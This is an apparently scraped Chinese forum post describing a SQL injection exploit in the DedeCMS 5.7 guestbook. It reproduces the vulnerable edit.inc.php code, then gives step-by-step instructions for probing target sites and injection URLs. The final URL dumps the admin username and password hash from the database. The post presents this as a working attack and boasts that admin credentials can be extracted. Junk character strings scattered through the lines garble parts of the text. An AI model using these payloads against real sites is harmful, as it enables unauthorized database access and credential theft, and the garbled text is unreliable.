dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
, ]* N; j% N! M; |; J/ Z+ a. f
漏洞文件edit.inc.php具体代码：

< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
, U( b( T; a' f- `" s( e
   
( e( A8 N% A! N+ [" p
# b. J) P6 {. w" C2 `if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
/ B' q! h* g' p) k  X) {! n, H
else $GUEST_BOOK_POS = "guestbook.php";  

   

# F/ R) B$ m% _- }( q$id = intval($id);  

& G- i4 |, B) D1 V$ Aif(empty($job)) $job='view';  
4 G9 J" d. F* Y, ~4 m- L6 b
0 w9 p$ X6 u; n: m( v5 t; m# f   
3 Q1 V, H: L# X# m/ T9 Z! g
$ q  N6 M, y$ y# r5 R4 b1 xif($job=='del' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

3 v4 c: y; T1 G0 Z# pexit();  

! w. ]  a& k+ x0 Y}  

else if($job=='check' && $g_isadmin)  
9 K2 Z! ]2 e; [+ X4 M6 }7 Q
' D% ~& ^% Y' s* }+ @0 q{  

9 b8 o7 `$ q4 |9 ^4 L6 F. C$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

% n$ Q% l/ Y% }8 ~# |2 l6 b$ O, WShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

& i, L: D8 e; Z+ X% xexit();  
* J* }5 i% |' o6 j3 F" d- d
}  

  Y* \- `2 A: s6 Delse if($job=='editok')  
7 @3 z; T. @5 d6 L5 @. b
9 y4 q' Y$ a. W. `. U{  
  U9 A+ A: {- a' Q4 Q# r
$remsg = trim($remsg);  
) n4 U: U* I- Y2 V
if($remsg!='')  

{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
; j5 Y& c* z- e2 s
% r4 ~) @( K; y4 C  vif($g_isadmin)  

{  
. r) }2 K; Y/ F2 Q( v
2 [: ?/ y8 F2 `$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

- X5 l( q6 t0 I% @* yelse

* S7 @, ^% z8 y6 f( K; {{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
! j" m! H& f* U; U0 |. E
' p- {% x& O; D" y' r* H$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  
8 Y6 P! N3 C$ {; K/ K0 Z$ {2 W
}  

5 y! X7 O: R# f- z}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

* J8 T  I$ m. R7 p  ZShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  
0 N5 X1 ]& A0 I# e9 K; v( f. C
* J  g2 V6 B& ?0 a. n+ G}  

//home:www.errs.cc  

if($g_isadmin)  

{  

' u1 ]$ ]* c' ~$ d$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
  K5 u, ~+ p: W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
1 I2 _6 H* j3 [; M; ^1 ?: n* |1 }0 n
}  

else

{  

# a4 g  O/ W' H8 u9 P9 R7 B% g* [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

4 U0 z& L$ N! D$ qrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

1 Q1 A2 Z$ N, t: e& E* h} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
* H, L% H7 Y3 T( d+ A1 p. c! S' e先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
8 h7 \: y& v6 o+ u2 O然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
0 ~) B4 H  ]- A3 O: P/ q
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


3 P% b9 x7 y2 G9 `6 e3 A明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# Z- R( W! K& M4 X" r/ s2 g# j如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
' u% E7 i$ P% ]9 N6 |" f' {
2 r5 O& x" r6 [7 i6 mwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
9 n- E! d- p" n" ~( \1 t
* _7 }! @+ V- E  i* `3 v9 E大概利用就是这样，大家有兴趣的多研究下！！

! y8 j0 d+ c6 R5 N  b8 R) E1 y最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
% c1 D8 [3 }" H; ~$ w( o6 E
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='